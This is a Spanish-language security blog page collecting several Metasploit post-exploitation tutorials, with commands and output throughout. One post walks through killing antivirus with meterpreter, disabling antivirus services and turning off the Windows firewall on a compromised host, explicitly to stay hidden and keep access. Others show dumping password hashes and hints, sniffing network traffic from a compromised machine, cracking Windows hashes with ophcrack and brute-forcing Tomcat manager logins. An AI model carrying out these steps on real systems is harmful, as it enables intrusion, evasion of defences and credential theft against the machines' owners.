shell> cd /opt/metasploit/external/pcaprub/
shell> ruby extconf.rb
shell> make
shell> make install
Leer más

metasploit, no firewall + no antivirus

Tras obtener acceso a un equipo con Windows por alguna vulnerabilidad lo primero que debemos hacer es garantizarnos que su antivirus no nos detecte y nos bloquee y posteriormente desactivar el cortafuegos (si es que lo hubiera) para evitar así que nos bloquee próximas intrusiones, esta vez ya "consentidas". Estas dos tareas están dentro de la post-explotación de una vulnerabilidad y deben ser de las primeras en lanzarse, para intentar conseguir estar el máximo tiempo posible dentro del equipo.
Entonces, ¿cómo hacemos para desactivar el antivirus? Por suerte meterpreter trae la solución ya implantada de mano,
meterpreter> run killav
[*] Killing Antivirus services on the target...
Este pequeño comando, ya implementado mata todas las sesiones de los antivirus más conocidos, dejando así el sistema indefenso. Luego una vez no haya ya antivirus lo que debemos de realizar es una pequeña comprobación de servicios, para así terminar por desactivar el antivirus en futuros inicios del equipo. Esto lo podemos conseguir con el comando tasklist, para luego gracias al comando sc poder desactivarlo.
meterpreter> shell
Process 1092 created.
Channel 2 created.
Microsoft Windows XP [Versi¢n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32> tasklist /svc
tasklist /svc

Nombre de imagen      PID  Servicios
===================== ==== ============================================
System Idle Process      0 N/D
System                   4 N/D
smss.exe               392 N/D
csrss.exe              720 N/D
winlogon.exe           744 N/D
services.exe           796 Eventlog, PlugPlay
lsass.exe              816 ProtectedStorage, SamSs
svchost.exe            976 DcomLaunch, TermService
svchost.exe           1040 RpcSs
svchost.exe           1128 AudioSrv, Browser, CryptSvc, Dhcp,
                           dmserver, ERSvc, EventSystem,
                           FastUserSwitchingCompatibility, helpsvc,
                           lanmanserver, lanmanworkstation, Netman,
                           Nla, Schedule, seclogon, SENS, SharedAccess,
                           ShellHWDetection, srservice, Themes, TrkWks,
                           W32Time, winmgmt, wscsvc, wuauserv, WZCSVC
logonui.exe           1136 N/D
svchost.exe           1352 Dnscache
svchost.exe           1368 LmHosts, RemoteRegistry, SSDPSRV
spoolsv.exe           1528 Spooler
cvpnd.exe             2016 CVPND
...
Esta salida agrupa los procesos por servicios, así que sólo queda encontrar el servicio de antivirus, por ejemplo, usando
C:\WINDOWS\system32> tasklist /svc | find /I "avg"
tasklist /svc | find /I "avg"
avgwdsvc.exe          3958  avgwd
avgnsx.exe            3912  N/A
avgemcx.exe           3594  N/A
avgtray.exe           3698  N/A
avgidagent.exe        3125  AVGIDSAgent
avgrsx.exe            2658  N/A
avgcsrvx.exe          4005  N/A
Y una vez sepamos que sí está presente en el sistema, únicamente lo deshabilitamos,
C:\WINDOWS\system32> sc config avgwd start=disable
sc config avgwd start=disable
[SC] ChangeServiceConfig SUCCESS

C:\WINDOWS\system32> sc config AVGIDSAgent start=disable
sc config AVGIDSAgent start=disable
[SC] ChangeServiceConfig SUCCESS
Tras esto, en los próximos reinicios del sistema, el antivirus no debería de arrancar.
Ahora tenemos que aprovechar que tenemos acceso para parar el cortafuegos. Para hacerlo,
meterpreter> shell
Process 1880 created.
Channel 1 created.
Microsoft Windows XP [Versi¢n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32> netsh firewall set opmode mode=disable
netsh firewall set opmode mode=disable
Aceptar
Tras ejecutarlo satisfactoriamente,
C:\WINDOWS\system32> netsh firewall show opmode
netsh firewall show opmode

Configuración del perfil Dominio:
-------------------------------------------------------------------
Modo funcional                                = Habilitar
Modo de excepción                             = Habilitar

Configuración del perfil Estándar (actual):
-------------------------------------------------------------------
Modo funcional                                = Deshabilitar
Modo de excepci¢n                             = Habilitar

Configuración del servidor de seguridad conexión de rea local:
-------------------------------------------------------------------
Modo funcional                                = Habilitar
Lo que, por ejemplo en mi Windows XP ha provocado un popup de advertencia (ya que así lo tengo configurado).
Leer más

ophcrack, obtener contraseñas de windows

Recientemente hablamos sobre cómo conseguir un listado de la base de datos SAM de Windows, que contiene todas las contraseñas cifradas. Aunque este cifrado es ampliamente conocido, la explotación del mismo puede llevar bastante tiempo, así que hoy os quiero presentar un pequeño software que nos ayudará y mucho a agilizar el proceso de paso de caracteres extraños a contraseña 'entendible'. Se llama ophcrack y es un pequeño programa escrito en C y que tiene a mayores una serie de diccionarios. El modo de funcionamiento es muy similar al de un buscador. Previamente se han construido las contraseñas con su correspondiente encriptación y se han indexado. Ahora sólo hay que buscarlas y ya estará listo. Vamos a ver paso a paso, cómo trabajar con él.
  • Obtener ophcrack
    Este es el primer paso. Para conseguirlo nos vamos a la páguina oficial y lo descargamos. Existe una versión para Windows y otra para GNU/Linux. EN nuestro caso, descargamos la versión para Linux.
    Una vez la tengamos, sólo queda compilar el software. Para ello,
    shell> tar jxvf ophcrack-3.4.0.tar.bz2
    shell> cd ophcrack-3.4.0
    shell> ./configure
    shell> make
    shell> make install
    
  • Obtener las tablas de contraseñas
    Este es el segundo paso y realmente el más importante, ya que aquí en donde reside el potencial de este software. Para obtenerlas, vamos a la URL de descarga y seleccionamos el fichero que más nos convenga. Puesto que lo voy a emplear con un Windows XP, vamos a descargar el XP free fast.
  • Configurar ophcrack
    Ahora que ya tenemos todo preparado, simplemente arrancamos el software y desde el interfaz cargamos las tablas que se han descargado. Las tablas permanecerán en disco y serán cargadas en memoria cuando sea necesario emplearlas.
    El siguiente paso es cargar el fichero (o claves individuales) que se han obtenido (mira cómo hacerlo) y presionar en Crack. En muy poco tiempo tendremos todas las claves que se hayan podido encontrar (depende del diccionario empleado) en texto plano, como en la imagen.
Si ves que tras ejecutarlo casi no se obtiene ninguna contraseña con los diccionarios pequeños libres, eso es bueno ya que no es factible un ataque por diccionario y la contraseña usa símbolos.
Leer más

metasploit, credenciales tomcat

metasploit tiene una gran cantidad de módulos que permiten comprobar la seguridad y fortaleza de un gran número de servicios y aplicaciones. En este caso vamos a ver cómo poder comprobar la fortaleza de tomcat y para ello emplearemos el módulo tomcat_mgr_login. Recordar que sólo nos interesa saber si hay una brecha de seguridad en combinaciones de usuario + contraseña, no aprovecharla, así que nos ponemos a trabajar.
Aquí hay que decir que es importante tener unos ficheros de usuarios y contraseñas buenos, ya que los que trae por defecto, no suelen funcionar.
msf> use auxiliary/scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login)> info

       Name: Tomcat Application Manager Login Utility
     Module: auxiliary/scanner/http/tomcat_mgr_login
    Version: 14871
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  MC <mc@metasploit.com>
  Matteo Cantoni <goony@nothink.org>
  jduck <jduck@metasploit.com>

Basic options:
Name              Current Setting
----              ---------------
BLANK_PASSWORDS   true
BRUTEFORCE_SPEED  5
PASSWORD
PASS_FILE         data/wordlists/tomcat_mgr_default_pass.txt
Proxies
RHOSTS
RPORT             8080
STOP_ON_SUCCESS   false
THREADS           1
URI               /manager/html
USERNAME
USERPASS_FILE     data/wordlists/tomcat_mgr_default_userpass.txt
USER_AS_PASS      true
USER_FILE         data/wordlists/tomcat_mgr_default_users.txt
VERBOSE           true
VHOST

Description:
  This module simply attempts to login to a Tomcat Application Manager 
  instance using a specific user/pass.

References:
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-3843
  http://www.osvdb.org/60317
  http://www.securityfocus.com/bid/37086
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-4189
  http://www.osvdb.org/60670
  http://www.zerodayinitiative.com/advisories/ZDI-09-085/
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-4188
  http://www.securityfocus.com/bid/38084
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-0557
  http://www-01.ibm.com/support/docview.wss?uid=swg21419179
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-4094
  http://www.zerodayinitiative.com/advisories/ZDI-10-214/
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-3548
  http://www.osvdb.org/60176
  http://www.securityfocus.com/bid/36954
  http://tomcat.apache.org/
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=1999-0502
Ahora lo configuramos correctamente,
msf auxiliary(tomcat_mgr_login)> set STOP_ON_SUCCESS false
msf auxiliary(tomcat_mgr_login)> set RHOSTS 192.168.1.21
msf auxiliary(tomcat_mgr_login)> set RPORT 80
msf auxiliary(tomcat_mgr_login)> USER_AS_PASS true
msf auxiliary(tomcat_mgr_login)> USERPASS_FILE /tmp/user-pass.txt
Una vez que ya está configurado, simplemente es cuestión de dejarlo ejecutando. Puesto que nos interesa una auditoría completa del tomcat, aunque encuentre un usuario con credenciales válidas no nos interesa que pare. La ejecución puede llevar un tiempo, en función de vuestras combinaciones.
msf auxiliary(tomcat_mgr_login)> run

[*] 192.168.1.21:80 TOMCAT_MGR - Trying username:'admin' with password:''
[-] 192.168.1.21:80 TOMCAT_MGR - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'admin'
[*] 192.168.1.21:80 TOMCAT_MGR - Trying username:'manager' with password:''
[-] 192.168.1.21:80 TOMCAT_MGR - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'manager'
[*] 192.168.1.21:80 TOMCAT_MGR - Trying username:'role1' with password:''
[-] 192.168.1.21:80 TOMCAT_MGR - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'role1'
[*] 192.168.1.21:80 TOMCAT_MGR - Trying username:'root' with password:''
[-] 192.168.1.21:80 TOMCAT_MGR - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'root'
[*] 192.168.1.21:80 TOMCAT_MGR - Trying username:'tomcat' with password:''
...
Una vez finalizadas todas las iteraciones tendremos un listado de todos los usuarios válidos para hacer login, en caso de que los hubiese. Lo idea, que no los haya, así que si os sale alguno, corregirlo rápidamente.
Leer más

metasploit, sniff a windows interface

Para aquellos que empleéis metasploit  y todavía no sepáis todas las posibilidades que ofrece para la post explotación, hoy os voy a presentar una realmente interesante. El empleo de un sniffer desde meterpreter que facilita y cuanto, la captura de información en red una vez el sistema está comprometido.
Como siempre, lo complicado es acceder al sistema, pero una vez tengamos acceso, simplemente podemos seguir estos sencillos pasos,
  1. Acceso a un sistema comprometido
    msf exploit(ms08_067_netapi)> sessions -l
    
    Active sessions
    ===============
    
    Id Type                   Connection
    -- ----                   ----------
    1  meterpreter x86/win32  192.168.1.33:4444 -> 192.168.1.50:2813
    
    msf exploit(ms08_067_netapi)> sessions -i 1
    [*] Starting interaction with 1...
    
    meterpreter>
    
  2. Cargar el sniffer
    meterpreter> use sniffer
    Loading extension sniffer...success.
    meterpreter> help
    Sniffer Commands
    ================
    
    Command             Description
    -------             -----------
    sniffer_dump        Retrieve captured packet data to PCAP file
    sniffer_interfaces  Enumerate all sniffable network interfaces
    sniffer_release     Free captured packets on a specific interface
    sniffer_start       Start packet capture on a specific interface
    sniffer_stats       View statistics of an active capture
    sniffer_stop        Stop packet capture on a specific interface
    
  3. Comenzar a capturar
    meterpreter> sniffer_interfaces
    
    1 - 'NIC Fast Ethernet PCI Familia RTL8139 de Realtek'...
    
    meterpreter> sniffer_start 1
    [*] Capture started on interface 1 (50000 packet buffer)
    
  4. Obtener estadísticas de capturas
    meterpreter> sniffer_stats 1
    [*] Capture statistics for interface 1
     packets: 333
     bytes: 139212
    
  5. Analizar los datos
    meterpreter> lpwd
    /home/javier
    meterpreter> sniffer_dump 1 1.pcap
    [*] Flushing packet capture buffer for interface 1...
    [*] Flushed 348 packets (147971 bytes)
    [*] Downloaded 100% (147971/147971)...
    [*] Download completed, converting to PCAP...
    [*] PCAP file written to 1.pcap
    
    meterpreter> sniffer_stop 1
    [*] Capture stopped on interface 1
    [*] There are 9 packets (1071 bytes) remaining
    [*] Download or release them using 'sniffer_dump' or 'sniffer_release'
    
Tras esto, tenemos localizado en /home/javier/1.pcap un fichero de tipo .pcap con los datos que se han capturado del interfaz del Windows comprometido. Ahora sólo queda analizar lo que ha pasado por ese interfaz durante la captura. Para ello, podemos emplear un programa tipo wireshark.
Leer más

metasploit, obteniendo contraseñas y frases de usuarios en Windows

Otra vez volvemos a presentar algo de metasploit. En este caso una forma sencilla de obtener un volcado del hashdump de usuarios y contraseñas de un equipo al que tengamos acceso, así como un listado de las frases que usa Windows para darle pistas al usuario en caso de que se olvide la contraseña. Esta frase si está bien creada puede ayudar a descubrir la contraseña del usuario de forma simple, ya que da información que empleando redes sociales o ingeniería social, se podría conseguir. Para poder conseguir estos datos únicamente debemos de tener usa sesión de meterpreter activa.
msf exploit(ms08_067_netapi)> sessions -l

Active sessions
===============

Id  Type        Information  Connection
--  ----        -----------  ----------
1   meterpreter WIN-VIRT     192.168.1.33:4444 -> 192.168.1.50:1949
Si tenemos esto, entonces ya podemos emplear 2 módulos existentes para obtener el hashdump que nos interes. Estos módulos son:
  • smart_hashdump
    msf post(ms08_067_netapi)> use post/windows/gather/smart_hashdump
    msf post(smart_hashdump)> set SESSION 1
    SESSION => 1
    msf post(smart_hashdump)> exploit 
    
    [*] Running module against WIN-VIRT
    [*] Hashes will be saved to the database if one is connected.
    [*] Hashes will be saved in loot in JtR password file format to:
    [*] /root/.msf4/loot/default_192.168.1.50_windows.hashes.txt
    [*] Dumping password hashes...
    [*] Running as SYSTEM extracting hashes from registry
    [*]  Obtaining the boot key...
    [*]  Calculating the hboot key using SYSKEY 264XXX
    [*]  Obtaining the user list and keys...
    [*]  Decrypting user keys...
    [*]  Dumping password hints...
    [+]  Javier:"p0wned"
    [*]  Dumping password hashes...
    [+]  Administrador:500:5b98b5c244XXX:::
    [+]  Asistente de ayuda:1000:b4a4XXX:::
    [+]  SUPPORT_388945a0:1002:aaf418XXX:::
    [+]  Javier:1003:5b98bXXX:::
    [+]  ASPNET:1005:6a695044XXX:::
    [*] Post module execution completed
    
  • hashdump
    msf post(smart_hashdump)> use post/windows/gather/hashdump
    msf post(hashdump)> set SESSION 1
    SESSION => 1
    msf post(hashdump)> exploit
    
    [*] Obtaining the boot key...
    [*] Calculating the hboot key using SYSKEY 264XXX
    [*] Obtaining the user list and keys...
    [*] Decrypting user keys...
    [*] Dumping password hints...
    
    Javier:"p0wned"
    
    [*] Dumping password hashes...
    
    Administrador:500:5b9XXX:::
    Invitado:501:aadXXX:::
    Asistente de ayuda:1000:b4aXXX:::
    SUPPORT_388945a0:1002:aadXXX:::
    Javier:1003:5b9XXX:::
    ASPNET:1005:6a6XXX:::
    
    [*] Post module execution completed
    
En caso de que al ejecutar el exploit ningún usuario tenga configurado una passwd, la salida que tendremos será tal que así, respectivamente.
  • smart_hashdump
    [*]  Dumping password hints...
    [*]  No users with password hints on this system
    [*] Dumping password hashes...
    
  • hashdump
    [*] Dumping password hints...
    
    No users with password hints on this system
    
    [*] Dumping password hashes...
    
Leer más

metasploit, sessions to Twitter


metasploit es un excelente framework para automatización de ataques y además permite la creación de módulos adicionales para habilitar nuevas funcionalidades. Cualquier persona con tiempo y unos pocos conocimientos puede crear un nuevo plugin que se integre a la perfección en metasploit y que permita hacer 'algo' nuevo. Este es el caso del plugin twitt, creado por Carlos Pérez(darkoperator.com), y que permite enviar aquellas sesiones que se abran en tu framework directamente a Twitter para que así sepas que algo pasó y que deberías verlo. Dicho plugin está escrito en ruby, por lo que se puede instalar directamente con gem (gestor de módulos de ruby). Para hacer uso de él, únicamente debes seguir estos pasos:
  1. Instalación del módulo
    En mi caso, msfconsole está instalado bajo /opt/framework y las librerías de ruby que emplea en /opt/framework/ruby así que debemos de emplear el gem que está en esa ruta y no el del sistema, en caso de que tengas ruby instalado para alguna otra cosa. Procedemos tal que así,
    shell> /opt/framework/ruby/bin/gem install twitter
    Successfully installed multipart-post-1.1.5
    Successfully installed faraday-0.8.4
    Successfully installed multi_json-1.3.6
    Successfully installed simple_oauth-0.1.9
    Successfully installed twitter-3.7.0
    5 gems installed
    Installing ri documentation for multipart-post-1.1.5...
    Installing ri documentation for faraday-0.8.4...
    Installing ri documentation for multi_json-1.3.6...
    Installing ri documentation for simple_oauth-0.1.9...
    Installing ri documentation for twitter-3.7.0...
    Installing RDoc documentation for multipart-post-1.1.5...
    Installing RDoc documentation for faraday-0.8.4...
    Installing RDoc documentation for multi_json-1.3.6...
    Installing RDoc documentation for simple_oauth-0.1.9...
    Installing RDoc documentation for twitter-3.7.0...
    
  2. Arrancamos el framework
    shell> msfconsole
    
  3. Cargamos el nuevo plugin
    Una vez instalado, la carga debería de ser correcta.
    msf> load twitt
    [*] Successfully loaded plugin: twitt
    
    En caso de que tengamos algún fallo a la hora de cargarlo es que algo no se instaló correctamente, revisa tus rutas de instalación.
  4. Configuramos twitt
    Si la carga de datos fue correcta, simplemente nos queda configurar el sistema con las variables de Twitter. Como ya sabréis la autenticación de Twitter ahora emplea OAuth, así que antes de nada deberemos de crear las correspondientes claves (si no sabes cómo, mira aquí). Una vez las tengamos simplemente las cargamos,
    msf> twitt_set_consumer_key RZ5X56...
    [*] Setting the Consumer Key to RZ5X56...
    msf> twitt_set_consumer_secret 35YRCpH...
    [*] Setting the Consumer Secret to 35YRCpH...
    msf> twitt_set_oauth_token 4610752...
    [*] Setting the OAUTH Token to 4610752...
    msf> twitt_set_oauth_token_secret SoBey...
    [*] Setting the OAUTH Token Secret to SoBey...
    msf> twitt_set_user j_tlopez
    [*] Setting the DM target user to j_tlopez
    msf> twitt_show_parms
    [*] Parameters:
    [+] consumer_key: RZ5X56...
    [+] consumer_secret: 35YRCpH...
    [+] oauth_token: 4610752...
    [+] oauth_token_secret: SoBey...
    [+] user: j_tlopez
    [+] source: 
    
  5. Arrancamos twitt
    Una vez esté todo configurado, simplemente guardamos los datos para futuros emplear del plugin y arrancamos twitt.
    msf> twitt_save
    [*] Saving paramters to config file
    [+] All parameters saved to /home/javier/.msf4/twitter.yaml
    msf> twitt_start
    [*] Starting to monitor sessions to Twitt
    [+] Twitter Plugin Started, Monitoring Sessions
    
    Ahora cada vez que metasploit detecte una nueva sesión abierta enviará un tweet a la cuenta predefinida informado de ello.
Leer más

Formulario de contacto

Nombre

Correo electrónico *

Mensaje *

Últimos comentarios